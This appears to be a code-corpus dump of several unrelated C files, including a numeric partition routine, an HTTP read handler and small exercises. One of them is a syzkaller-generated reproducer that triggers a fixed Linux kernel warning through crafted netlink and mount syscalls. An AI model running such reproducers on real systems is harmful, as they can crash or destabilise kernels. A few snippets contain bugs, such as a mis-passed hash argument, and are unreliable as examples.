int listListVarsArrayHistoryPairsSetTuplePartitionTop_u(
int pmax, double z, int v, int n, int* svv, int q, double y1,
int* qm, int* ql, int* qs, int* qp, double* aa1, double* aa2,
int* tt)
{
int t = 0;
#if __STDC_VERSION__ >= 199901L
double bb1[v];
double bb2[v];
double ts1[pmax];
double ts2[pmax];
int ts3[pmax];
#else
double* bb1;
double* bb2;
double* ts1;
double* ts2;
int* ts3;
#endif
double t1;
double t2;
int t3;
int tm;
double x1;
double x2;
int x3;
int p;
int m;
int r;
int i;
double a2;
double b2;
double c;
#if __STDC_VERSION__ >= 199901L
#else
bb1 = (double*)alloca(sizeof(double)*v);
bb2 = (double*)alloca(sizeof(double)*v);
ts1 = (double*)alloca(sizeof(double)*pmax);
ts2 = (double*)alloca(sizeof(double)*pmax);
ts3 = (int*)alloca(sizeof(int)*pmax);
#endif
for (p = 0; p < q; p++)
{
m = qm[p];
c = pow((double)v, 1.0 / ((double)m));
for (r = 0, i = 0; i<m; i++)
{
r += (qs + n*p)[i];
}
listListVarsArrayHistoryPairsPartitionIndependent_u(z, v, n, svv, m, r, ql + n*p, qs + n*p, qp + n*p, aa1, aa2, bb1, bb2);
for (a2 = 0.0, b2 = 0.0, i = 0; i<v; i++)
{
a2 += alngam(bb1[i] + 1.0);
b2 += alngam(bb2[i] + 1.0);
}
if (t < pmax)
{
tt[t] = p;
ts1[t] = (y1 - a2 + b2) / c;
ts2[t] = b2;
ts3[t] = -m;
t++;
if (t == pmax)
{
for (t1 = ts1[0], t2 = ts2[0], t3 = ts3[0], tm = 0, i = 1; i < pmax; i++)
{
x1 = ts1[i];
if (t1 > x1)
{
t1 = x1;
t2 = ts2[i];
t3 = ts3[i];
tm = i;
}
else if (t1 == x1)
{
x2 = ts2[i];
if (t2 > x2)
{
t2 = x2;
t3 = ts3[i];
tm = i;
}
else if (t2 == x2)
{
x3 = ts3[i];
if (t3 > x3)
{
t3 = x3;
tm = i;
}
}
}
}
}
}
else
{
x1 = (y1 - a2 + b2) / c;
x2 = b2;
x3 = -m;
if (t1 < x1 || (t1 == x1 && t2 < x2) || (t1 == x1 && t2 == x2 && t3 < x3))
{
tt[tm] = p;
ts1[tm] = x1;
ts2[tm] = x2;
ts3[tm] = x3;
for (t1 = ts1[0], t2 = ts2[0], t3 = ts3[0], tm = 0, i = 1; i < pmax; i++)
{
x1 = ts1[i];
if (t1 > x1)
{
t1 = x1;
t2 = ts2[i];
t3 = ts3[i];
tm = i;
}
else if (t1 == x1)
{
x2 = ts2[i];
if (t2 > x2)
{
t2 = x2;
t3 = ts3[i];
tm = i;
}
else if (t2 == x2)
{
x3 = ts3[i];
if (t3 > x3)
{
t3 = x3;
tm = i;
}
}
}
}
}
}
}
return t;
}
int arrayHistoryPairsRollMax_u(
int v, int n, int* svvy, int d, int nd,
double* aay, double* aaxy, double* bby, double* bbxy,
int* ppm)
{
int srchd = 0;
double fm;
#if __STDC_VERSION__ >= 199901L
int ivv[n];
int syy[n];
int svv[n];
int szz[n];
double aa[v];
double aax[v];
double bb[v];
double bbx[v];
double aaz[v];
double aaxz[v];
double bbz[v];
double bbxz[v];
double ff[nd];
int ppc[nd];
#else
int* ivv;
int* syy;
int* svv;
int* szz;
double* aa;
double* aax;
double* bb;
double* bbx;
double* aaz;
double* aaxz;
double* bbz;
double* bbxz;
double* ff;
int* ppc;
#endif
int minv;
int vc;
double fc;
int ww;
int sw;
int tw;
double fw;
int x;
int y;
int r;
int i;
int j;
int k;
int q;
int w;
int p;
int s;
int is;
int t;
int it;
int m;
int u;
double f;
double c;
#if __STDC_VERSION__ >= 199901L
#else
ivv = (int*)alloca(sizeof(int)*n);
syy = (int*)alloca(sizeof(int)*n);
svv = (int*)alloca(sizeof(int)*n);
szz = (int*)alloca(sizeof(int)*n);
aa = (double*)alloca(sizeof(double)*v);
aax = (double*)alloca(sizeof(double)*v);
bb = (double*)alloca(sizeof(double)*v);
bbx = (double*)alloca(sizeof(double)*v);
aaz = (double*)alloca(sizeof(double)*v);
aaxz = (double*)alloca(sizeof(double)*v);
bbz = (double*)alloca(sizeof(double)*v);
bbxz = (double*)alloca(sizeof(double)*v);
ff = (double*)alloca(sizeof(double)*nd);
ppc = (int*)alloca(sizeof(int)*nd);
#endif
for (j = 0; j < v; j++)
{
aa[j] = aay[j];
aax[j] = aaxy[j];
bb[j] = bby[j];
bbx[j] = bbxy[j];
}
for (i = 0; i < nd; i++)
ff[i] = 0.0;
for (minv = 1, i = 0; i < n; i++)
{
minv *= 2;
svv[i] = svvy[i];
for (j = 0; j < d; j++)
{
p = d*i + j;
ppm[p] = j;
ppc[p] = j;
}
}
vc = v;
for (i = 0; i < n; i++)
ivv[i] = 0;
for (fc = 0.0, i = 0; i < vc; i++)
{
f = alngam(aa[i] + 1.0) - alngam(aax[i] + 1.0)
- alngam(bb[i] + 1.0) + alngam(bbx[i] + 1.0);
fc += f;
for (k = 0; k < n; k++)
ff[d*k + ivv[k]] += f;
incIndex(n, svv, ivv);
}
m = n - 1;
for (q = 0; vc > minv; q++)
{
for (x = 0, w = 0; w < n; w++)
{
r = svv[w];
if (r > 2)
{
for (i = 0; i < w; i++)
syy[i] = svv[i];
for (; i < m; i++)
syy[i] = svv[i+1];
p = d * w;
y = vc / r;
c = 1.0/pow((double)(y*(r-1)), 1.0/((double)n));
for (s = 1; s < r; s++)
for (t = 0; t < s; t++)
{
for (i = 0; i < m; i++)
ivv[i] = 0;
for (f = fc - ff[p+s] - ff[p+t], i = 0; i < y; i++)
{
is = toIndexInsert(w, r, s, m, syy, ivv);
it = toIndexInsert(w, r, t, m, syy, ivv);
f += alngam(aa[is] + aa[it] + 1.0) - alngam(aax[is] + aax[it] + 1.0)
- alngam(bb[is] + bb[it] + 1.0) + alngam(bbx[is] + bbx[it] + 1.0);
incIndex(m, syy, ivv);
}
f *= c;
srchd++;
if ((x == 0) || (f > fw))
{
x++;
ww = w;
sw = s;
tw = t;
fw = f;
}
}
}
}
for (i = 0; i < n; i++)
szz[i] = svv[i];
r = svv[ww] - 1;
szz[ww] = r;
vc /= r + 1;
vc *= r;
for (i = 0; i < nd; i++)
ff[i] = 0.0;
for (i = 0; i < n; i++)
ivv[i] = 0;
for (fc = 0.0, j = 0; j < vc; j++)
{
u = ivv[ww];
if ((u < tw) || (u > tw && u < sw))
{
i = toIndex(n, svv, ivv);
aaz[j] = aa[i];
aaxz[j] = aax[i];
bbz[j] = bb[i];
bbxz[j] = bbx[i];
}
else if (u == tw)
{
i = toIndex(n, svv, ivv);
aaz[j] = aa[i];
aaxz[j] = aax[i];
bbz[j] = bb[i];
bbxz[j] = bbx[i];
ivv[ww] = sw;
i = toIndex(n, svv, ivv);
aaz[j] += aa[i];
aaxz[j] += aax[i];
bbz[j] += bb[i];
bbxz[j] += bbx[i];
ivv[ww] = tw;
}
else
{
ivv[ww]++;
i = toIndex(n, svv, ivv);
aaz[j] = aa[i];
aaxz[j] = aax[i];
bbz[j] = bb[i];
bbxz[j] = bbx[i];
ivv[ww]--;
}
f = alngam(aaz[j] + 1.0) - alngam(aaxz[j] + 1.0)
- alngam(bbz[j] + 1.0) + alngam(bbxz[j] + 1.0);
fc += f;
for (k = 0; k < n; k++)
ff[d*k + ivv[k]] += f;
incIndex(n, szz, ivv);
}
for (j = 0; j < vc; j++)
{
aa[j] = aaz[j];
aax[j] = aaxz[j];
bb[j] = bbz[j];
bbx[j] = bbxz[j];
}
svv[ww] = r;
for (j = 0; j < d; j++)
{
p = d*ww + j;
u = ppc[p];
if (u == sw)
ppc[p] = tw;
else if (u > sw)
ppc[p] = u-1;
}
if (q == 0 || fw > fm)
{
fm = fw;
for (i = 0; i < nd; i++)
ppm[i] = ppc[i];
}
}
return srchd;
}
|
the_stack_data/126702788.c | // WARNING in check_flush_dependency
// https://syzkaller.appspot.com/bug?id=cdce14736dbd65c48ba723d3784299bc8bc5cd21
// status:fixed
// autogenerated by syzkaller (http://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <errno.h>
#include <sched.h>
#include <signal.h>
#include <signal.h>
#include <stdarg.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdio.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
__attribute__((noreturn)) static void doexit(int status)
{
volatile unsigned i;
syscall(__NR_exit_group, status);
for (i = 0;; i++) {
}
}
#include <errno.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
const int kFailStatus = 67;
const int kRetryStatus = 69;
static void fail(const char* msg, ...)
{
int e = errno;
va_list args;
va_start(args, msg);
vfprintf(stderr, msg, args);
va_end(args);
fprintf(stderr, " (errno %d)\n", e);
doexit((e == ENOMEM || e == EAGAIN) ? kRetryStatus : kFailStatus);
}
static void exitf(const char* msg, ...)
{
int e = errno;
va_list args;
va_start(args, msg);
vfprintf(stderr, msg, args);
va_end(args);
fprintf(stderr, " (errno %d)\n", e);
doexit(kRetryStatus);
}
static uint64_t current_time_ms()
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
fail("clock_gettime failed");
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void use_temporary_dir()
{
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
fail("failed to mkdtemp");
if (chmod(tmpdir, 0777))
fail("failed to chmod");
if (chdir(tmpdir))
fail("failed to chdir");
}
static void loop();
static void sandbox_common()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setsid();
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = 128 << 20;
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 8 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
#define CLONE_NEWCGROUP 0x02000000
if (unshare(CLONE_NEWNS)) {
}
if (unshare(CLONE_NEWIPC)) {
}
if (unshare(CLONE_NEWCGROUP)) {
}
if (unshare(CLONE_NEWUTS)) {
}
if (unshare(CLONE_SYSVSEM)) {
}
}
static int do_sandbox_none(int executor_pid, bool enable_tun)
{
if (unshare(CLONE_NEWPID)) {
}
int pid = fork();
if (pid < 0)
fail("sandbox fork failed");
if (pid)
return pid;
sandbox_common();
if (unshare(CLONE_NEWNET)) {
}
loop();
doexit(1);
}
static void remove_dir(const char* dir)
{
DIR* dp;
struct dirent* ep;
int iter = 0;
retry:
dp = opendir(dir);
if (dp == NULL) {
if (errno == EMFILE) {
exitf("opendir(%s) failed due to NOFILE, exiting", dir);
}
exitf("opendir(%s) failed", dir);
}
while ((ep = readdir(dp))) {
if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
continue;
char filename[FILENAME_MAX];
snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
struct stat st;
if (lstat(filename, &st))
exitf("lstat(%s) failed", filename);
if (S_ISDIR(st.st_mode)) {
remove_dir(filename);
continue;
}
int i;
for (i = 0;; i++) {
if (unlink(filename) == 0)
break;
if (errno == EROFS) {
break;
}
if (errno != EBUSY || i > 100)
exitf("unlink(%s) failed", filename);
if (umount2(filename, MNT_DETACH))
exitf("umount(%s) failed", filename);
}
}
closedir(dp);
int i;
for (i = 0;; i++) {
if (rmdir(dir) == 0)
break;
if (i < 100) {
if (errno == EROFS) {
break;
}
if (errno == EBUSY) {
if (umount2(dir, MNT_DETACH))
exitf("umount(%s) failed", dir);
continue;
}
if (errno == ENOTEMPTY) {
if (iter < 100) {
iter++;
goto retry;
}
}
}
exitf("rmdir(%s) failed", dir);
}
}
static void test();
void loop()
{
int iter;
for (iter = 0;; iter++) {
char cwdbuf[256];
sprintf(cwdbuf, "./%d", iter);
if (mkdir(cwdbuf, 0777))
fail("failed to mkdir");
int pid = fork();
if (pid < 0)
fail("loop fork failed");
if (pid == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
if (chdir(cwdbuf))
fail("failed to chdir");
test();
doexit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
int res = waitpid(-1, &status, __WALL | WNOHANG);
if (res == pid)
break;
usleep(1000);
if (current_time_ms() - start > 5 * 1000) {
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
while (waitpid(-1, &status, __WALL) != pid) {
}
break;
}
}
remove_dir(cwdbuf);
}
}
long r[1];
uint64_t procid;
void test()
{
memset(r, -1, sizeof(r));
syscall(__NR_mmap, 0x20000000, 0xfff000, 3, 0x32, -1, 0);
r[0] = syscall(__NR_socket, 0x10, 3, 0x10);
*(uint64_t*)0x20b3dfc8 = 0x20d49ff4;
*(uint32_t*)0x20b3dfd0 = 0xc;
*(uint64_t*)0x20b3dfd8 = 0x20007000;
*(uint64_t*)0x20b3dfe0 = 1;
*(uint64_t*)0x20b3dfe8 = 0;
*(uint64_t*)0x20b3dff0 = 0;
*(uint32_t*)0x20b3dff8 = 0;
*(uint16_t*)0x20d49ff4 = 0x10;
*(uint16_t*)0x20d49ff6 = 0;
*(uint32_t*)0x20d49ff8 = 0;
*(uint32_t*)0x20d49ffc = 0;
*(uint64_t*)0x20007000 = 0x201ca000;
*(uint64_t*)0x20007008 = 0x14;
*(uint32_t*)0x201ca000 = 0x14;
*(uint16_t*)0x201ca004 = 0x1c;
*(uint16_t*)0x201ca006 = 0x109;
*(uint32_t*)0x201ca008 = 0;
*(uint32_t*)0x201ca00c = 0;
*(uint8_t*)0x201ca010 = 4;
*(uint8_t*)0x201ca011 = 0;
*(uint16_t*)0x201ca012 = 0;
syscall(__NR_sendmsg, r[0], 0x20b3dfc8, 0);
memcpy((void*)0x2002bff8, "./file0", 8);
syscall(__NR_mkdir, 0x2002bff8, 0);
memcpy((void*)0x2002b000, "./file0", 8);
memcpy((void*)0x2001c000, "./file0", 8);
memcpy((void*)0x2001a000, "devpts", 7);
syscall(__NR_mount, 0x2002b000, 0x2001c000, 0x2001a000, 0, 0x2000a000);
}
int main()
{
char* cwd = get_current_dir_name();
for (procid = 0; procid < 8; procid++) {
if (fork() == 0) {
for (;;) {
if (chdir(cwd))
fail("failed to chdir");
use_temporary_dir();
int pid = do_sandbox_none(procid, false);
int status = 0;
while (waitpid(pid, &status, __WALL) != pid) {
}
}
}
}
sleep(1000000);
return 0;
}
|
the_stack_data/508078.c | #include <stdio.h>
#define MX 200006
#define MOD 100003
int HashTable[MX],count[MX];
int computeHash(char *s){
long long int hash = 5381;
int c;
while(c = *s++){
hash = (c + (hash<<5)%MOD + hash)%MOD;
}
return hash%MOD;
}
char s[MOD][33];
int check(int i,int j){
int k = 0;
for(;s[i][k];k++){
if(s[j][k]=='\0') return 0;
if(s[i][k] != s[j][k]) return 0;
}
if(s[j][k]!='\0') return 0;
return 1;
}
int getId(int hash, int id){
while(HashTable[hash]!=-1){
int t = HashTable[hash];
if(check(t,id)){
return hash;
}
hash++;
if(hash==MX) hash = 0;
}
return hash;
}
void init()
{
for(int i = 0;i<MX;i++) HashTable[i] = -1;
}
void MRoy(){
init();
int n;
scanf("%d",&n);
for(int i = 0;i<n;i++){
scanf("%s",s[i]);
int hash = computeHash(s);
int t = getId(hash,i);
HashTable[t] = i;
count[t]++;
if(count[t]==1) printf("OK\n");
else printf("%s%d\n",s[i],count[t]-1);
}
return;
}
int main(){
MRoy();
return 0;
} |
the_stack_data/126703400.c |
#include <stdio.h>
void scilab_rt_champ_d2d2i2i2i0i2_(int in00, int in01, double matrixin0[in00][in01],
int in10, int in11, double matrixin1[in10][in11],
int in20, int in21, int matrixin2[in20][in21],
int in30, int in31, int matrixin3[in30][in31],
int scalarin0,
int in40, int in41, int matrixin4[in40][in41])
{
int i;
int j;
double val0 = 0;
double val1 = 0;
int val2 = 0;
int val3 = 0;
int val4 = 0;
for (i = 0; i < in00; ++i) {
for (j = 0; j < in01; ++j) {
val0 += matrixin0[i][j];
}
}
printf("%f", val0);
for (i = 0; i < in10; ++i) {
for (j = 0; j < in11; ++j) {
val1 += matrixin1[i][j];
}
}
printf("%f", val1);
for (i = 0; i < in20; ++i) {
for (j = 0; j < in21; ++j) {
val2 += matrixin2[i][j];
}
}
printf("%d", val2);
for (i = 0; i < in30; ++i) {
for (j = 0; j < in31; ++j) {
val3 += matrixin3[i][j];
}
}
printf("%d", val3);
printf("%d", scalarin0);
for (i = 0; i < in40; ++i) {
for (j = 0; j < in41; ++j) {
val4 += matrixin4[i][j];
}
}
printf("%d", val4);
}
|
the_stack_data/994475.c | #include <time.h>
#include <stdio.h>
int main()
{
time_t timeval;
(void)time(&timeval);
printf("The date is: %s", ctime(&timeval));
exit(0);
}
|
the_stack_data/1068930.c |
#define NONCANONICAL_ADDR (void*)0xdeafbeef10000000ULL;
void *stdin=NONCANONICAL_ADDR;
void *stdout=NONCANONICAL_ADDR;
void *stderr=NONCANONICAL_ADDR;
int isdigit(int c)
{
return c>='0' && c<='9';
}
int toupper(int c)
{
return (c>='a' && c<='z') ? c-'a'+'A' : c;
}
|
the_stack_data/76701495.c | #define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
/* Type definitions */
struct httpread {int got_hdr; scalar_t__ body_nbytes; int content_length; int got_body; char* hdr; int hdr_nbytes; scalar_t__ max_bytes; scalar_t__ body_alloc_nbytes; char* body; int in_chunk_data; int chunk_start; scalar_t__ chunk_size; int in_trailer; int trailer_state; scalar_t__ hdr_type; int got_file; int /*<<< orphan*/ cookie; int /*<<< orphan*/ (* cb ) (struct httpread*,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ;int /*<<< orphan*/ sd; scalar_t__ chunked; scalar_t__ got_content_length; } ;
typedef int /*<<< orphan*/ readbuf ;
/* Variables and functions */
int /*<<< orphan*/ EVENT_TYPE_READ ;
int HTTPREAD_BODYBUF_DELTA ;
int /*<<< orphan*/ HTTPREAD_EVENT_ERROR ;
int /*<<< orphan*/ HTTPREAD_EVENT_FILE_READY ;
int HTTPREAD_HEADER_MAX_SIZE ;
int HTTPREAD_READBUF_SIZE ;
int /*<<< orphan*/ MSG_DEBUG ;
int /*<<< orphan*/ MSG_MSGDUMP ;
int /*<<< orphan*/ eloop_cancel_timeout (int /*<<< orphan*/ ,int /*<<< orphan*/ *,struct httpread*) ;
int /*<<< orphan*/ eloop_unregister_sock (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ;
int /*<<< orphan*/ errno ;
scalar_t__ httpread_hdr_analyze (struct httpread*) ;
int /*<<< orphan*/ httpread_timeout_handler ;
int /*<<< orphan*/ isxdigit (char) ;
int /*<<< orphan*/ os_memcpy (char*,char*,int) ;
char* os_realloc (char*,int) ;
int /*<<< orphan*/ os_strncasecmp (char*,char*,int) ;
int read (int /*<<< orphan*/ ,char*,int) ;
int /*<<< orphan*/ strerror (int /*<<< orphan*/ ) ;
scalar_t__ strtoul (char*,int /*<<< orphan*/ *,int) ;
int /*<<< orphan*/ stub1 (struct httpread*,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ;
int /*<<< orphan*/ stub2 (struct httpread*,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ;
#define trailer_empty_cr 131
#define trailer_line_begin 130
#define trailer_nonempty 129
#define trailer_nonempty_cr 128
int /*<<< orphan*/ wpa_hexdump_ascii (int /*<<< orphan*/ ,char*,char*,int) ;
int /*<<< orphan*/ wpa_printf (int /*<<< orphan*/ ,char*,...) ;
__attribute__((used)) static void httpread_read_handler(int sd, void *eloop_ctx, void *sock_ctx)
{
struct httpread *h = sock_ctx;
int nread;
char *rbp; /* pointer into read buffer */
char *hbp; /* pointer into header buffer */
char *bbp; /* pointer into body buffer */
char readbuf[HTTPREAD_READBUF_SIZE]; /* temp use to read into */
/* read some at a time, then search for the interal
* boundaries between header and data and etc.
*/
wpa_printf(MSG_DEBUG, "httpread: Trying to read more data(%p)", h);
nread = read(h->sd, readbuf, sizeof(readbuf));
if (nread < 0) {
wpa_printf(MSG_DEBUG, "httpread failed: %s", strerror(errno));
goto bad;
}
wpa_hexdump_ascii(MSG_MSGDUMP, "httpread - read", readbuf, nread);
if (nread == 0) {
/* end of transmission... this may be normal
* or may be an error... in some cases we can't
* tell which so we must assume it is normal then.
*/
if (!h->got_hdr) {
/* Must at least have completed header */
wpa_printf(MSG_DEBUG, "httpread premature eof(%p)", h);
goto bad;
}
if (h->chunked || h->got_content_length) {
/* Premature EOF; e.g. dropped connection */
wpa_printf(MSG_DEBUG,
"httpread premature eof(%p) %d/%d",
h, h->body_nbytes,
h->content_length);
goto bad;
}
/* No explicit length, hopefully we have all the data
* although dropped connections can cause false
* end
*/
wpa_printf(MSG_DEBUG, "httpread ok eof(%p)", h);
h->got_body = 1;
goto got_file;
}
rbp = readbuf;
/* Header consists of text lines (terminated by both CR and LF)
* and an empty line (CR LF only).
*/
if (!h->got_hdr) {
hbp = h->hdr + h->hdr_nbytes;
/* add to headers until:
* -- we run out of data in read buffer
* -- or, we run out of header buffer room
* -- or, we get double CRLF in headers
*/
for (;;) {
if (nread == 0)
goto get_more;
if (h->hdr_nbytes == HTTPREAD_HEADER_MAX_SIZE) {
wpa_printf(MSG_DEBUG,
"httpread: Too long header");
goto bad;
}
*hbp++ = *rbp++;
nread--;
h->hdr_nbytes++;
if (h->hdr_nbytes >= 4 &&
hbp[-1] == '\n' &&
hbp[-2] == '\r' &&
hbp[-3] == '\n' &&
hbp[-4] == '\r' ) {
h->got_hdr = 1;
*hbp = 0; /* null terminate */
break;
}
}
/* here we've just finished reading the header */
if (httpread_hdr_analyze(h)) {
wpa_printf(MSG_DEBUG, "httpread bad hdr(%p)", h);
goto bad;
}
if (h->max_bytes == 0) {
wpa_printf(MSG_DEBUG, "httpread no body hdr end(%p)",
h);
goto got_file;
}
if (h->got_content_length && h->content_length == 0) {
wpa_printf(MSG_DEBUG,
"httpread zero content length(%p)", h);
goto got_file;
}
}
/* Certain types of requests never have data and so
* must be specially recognized.
*/
if (!os_strncasecmp(h->hdr, "SUBSCRIBE", 9) ||
!os_strncasecmp(h->hdr, "UNSUBSCRIBE", 11) ||
!os_strncasecmp(h->hdr, "HEAD", 4) ||
!os_strncasecmp(h->hdr, "GET", 3)) {
if (!h->got_body) {
wpa_printf(MSG_DEBUG, "httpread NO BODY for sp. type");
}
h->got_body = 1;
goto got_file;
}
/* Data can be just plain binary data, or if "chunked"
* consists of chunks each with a header, ending with
* an ending header.
*/
if (nread == 0)
goto get_more;
if (!h->got_body) {
/* Here to get (more of) body */
/* ensure we have enough room for worst case for body
* plus a null termination character
*/
if (h->body_alloc_nbytes < (h->body_nbytes + nread + 1)) {
char *new_body;
int new_alloc_nbytes;
if (h->body_nbytes >= h->max_bytes) {
wpa_printf(MSG_DEBUG,
"httpread: body_nbytes=%d >= max_bytes=%d",
h->body_nbytes, h->max_bytes);
goto bad;
}
new_alloc_nbytes = h->body_alloc_nbytes +
HTTPREAD_BODYBUF_DELTA;
/* For content-length case, the first time
* through we allocate the whole amount
* we need.
*/
if (h->got_content_length &&
new_alloc_nbytes < (h->content_length + 1))
new_alloc_nbytes = h->content_length + 1;
if (new_alloc_nbytes < h->body_alloc_nbytes ||
new_alloc_nbytes > h->max_bytes +
HTTPREAD_BODYBUF_DELTA) {
wpa_printf(MSG_DEBUG,
"httpread: Unacceptable body length %d (body_alloc_nbytes=%u max_bytes=%u)",
new_alloc_nbytes,
h->body_alloc_nbytes,
h->max_bytes);
goto bad;
}
if ((new_body = os_realloc(h->body, new_alloc_nbytes))
== NULL) {
wpa_printf(MSG_DEBUG,
"httpread: Failed to reallocate buffer (len=%d)",
new_alloc_nbytes);
goto bad;
}
h->body = new_body;
h->body_alloc_nbytes = new_alloc_nbytes;
}
/* add bytes */
bbp = h->body + h->body_nbytes;
for (;;) {
int ncopy;
/* See if we need to stop */
if (h->chunked && h->in_chunk_data == 0) {
/* in chunk header */
char *cbp = h->body + h->chunk_start;
if (bbp-cbp >= 2 && bbp[-2] == '\r' &&
bbp[-1] == '\n') {
/* end of chunk hdr line */
/* hdr line consists solely
* of a hex numeral and CFLF
*/
if (!isxdigit(*cbp)) {
wpa_printf(MSG_DEBUG,
"httpread: Unexpected chunk header value (not a hex digit)");
goto bad;
}
h->chunk_size = strtoul(cbp, NULL, 16);
if (h->chunk_size < 0 ||
h->chunk_size > h->max_bytes) {
wpa_printf(MSG_DEBUG,
"httpread: Invalid chunk size %d",
h->chunk_size);
goto bad;
}
/* throw away chunk header
* so we have only real data
*/
h->body_nbytes = h->chunk_start;
bbp = cbp;
if (h->chunk_size == 0) {
/* end of chunking */
/* trailer follows */
h->in_trailer = 1;
wpa_printf(MSG_DEBUG,
"httpread end chunks(%p)",
h);
break;
}
h->in_chunk_data = 1;
/* leave chunk_start alone */
}
} else if (h->chunked) {
/* in chunk data */
if ((h->body_nbytes - h->chunk_start) ==
(h->chunk_size + 2)) {
/* end of chunk reached,
* new chunk starts
*/
/* check chunk ended w/ CRLF
* which we'll throw away
*/
if (bbp[-1] == '\n' &&
bbp[-2] == '\r') {
} else {
wpa_printf(MSG_DEBUG,
"httpread: Invalid chunk end");
goto bad;
}
h->body_nbytes -= 2;
bbp -= 2;
h->chunk_start = h->body_nbytes;
h->in_chunk_data = 0;
h->chunk_size = 0; /* just in case */
}
} else if (h->got_content_length &&
h->body_nbytes >= h->content_length) {
h->got_body = 1;
wpa_printf(MSG_DEBUG,
"httpread got content(%p)", h);
goto got_file;
}
if (nread <= 0)
break;
/* Now transfer. Optimize using memcpy where we can. */
if (h->chunked && h->in_chunk_data) {
/* copy up to remainder of chunk data
* plus the required CR+LF at end
*/
ncopy = (h->chunk_start + h->chunk_size + 2) -
h->body_nbytes;
} else if (h->chunked) {
/*in chunk header -- don't optimize */
*bbp++ = *rbp++;
nread--;
h->body_nbytes++;
continue;
} else if (h->got_content_length) {
ncopy = h->content_length - h->body_nbytes;
} else {
ncopy = nread;
}
/* Note: should never be 0 */
if (ncopy < 0) {
wpa_printf(MSG_DEBUG,
"httpread: Invalid ncopy=%d", ncopy);
goto bad;
}
if (ncopy > nread)
ncopy = nread;
os_memcpy(bbp, rbp, ncopy);
bbp += ncopy;
h->body_nbytes += ncopy;
rbp += ncopy;
nread -= ncopy;
} /* body copy loop */
} /* !got_body */
if (h->chunked && h->in_trailer) {
/* If "chunked" then there is always a trailer,
* consisting of zero or more non-empty lines
* ending with CR LF and then an empty line w/ CR LF.
* We do NOT support trailers except to skip them --
* this is supported (generally) by the http spec.
*/
for (;;) {
int c;
if (nread <= 0)
break;
c = *rbp++;
nread--;
switch (h->trailer_state) {
case trailer_line_begin:
if (c == '\r')
h->trailer_state = trailer_empty_cr;
else
h->trailer_state = trailer_nonempty;
break;
case trailer_empty_cr:
/* end empty line */
if (c == '\n') {
h->trailer_state = trailer_line_begin;
h->in_trailer = 0;
wpa_printf(MSG_DEBUG,
"httpread got content(%p)",
h);
h->got_body = 1;
goto got_file;
}
h->trailer_state = trailer_nonempty;
break;
case trailer_nonempty:
if (c == '\r')
h->trailer_state = trailer_nonempty_cr;
break;
case trailer_nonempty_cr:
if (c == '\n')
h->trailer_state = trailer_line_begin;
else
h->trailer_state = trailer_nonempty;
break;
}
}
}
goto get_more;
bad:
/* Error */
wpa_printf(MSG_DEBUG, "httpread read/parse failure (%p)", h);
(*h->cb)(h, h->cookie, HTTPREAD_EVENT_ERROR);
return;
get_more:
wpa_printf(MSG_DEBUG, "httpread: get more (%p)", h);
return;
got_file:
wpa_printf(MSG_DEBUG, "httpread got file %d bytes type %d",
h->body_nbytes, h->hdr_type);
wpa_hexdump_ascii(MSG_MSGDUMP, "httpread: body",
h->body, h->body_nbytes);
/* Null terminate for convenience of some applications */
if (h->body)
h->body[h->body_nbytes] = 0; /* null terminate */
h->got_file = 1;
/* Assume that we do NOT support keeping connection alive,
* and just in case somehow we don't get destroyed right away,
* unregister now.
*/
eloop_unregister_sock(h->sd, EVENT_TYPE_READ);
/* The application can destroy us whenever they feel like...
* cancel timeout.
*/
eloop_cancel_timeout(httpread_timeout_handler, NULL, h);
(*h->cb)(h, h->cookie, HTTPREAD_EVENT_FILE_READY);
} |
the_stack_data/125141071.c | /*
Package: dyncall
Library: test
File: test/hacking-arm-thumb-interwork/arm.c
Description:
License:
Copyright (c) 2011 Daniel Adler <[email protected]>,
Tassilo Philipp <[email protected]>
Permission to use, copy, modify, and distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
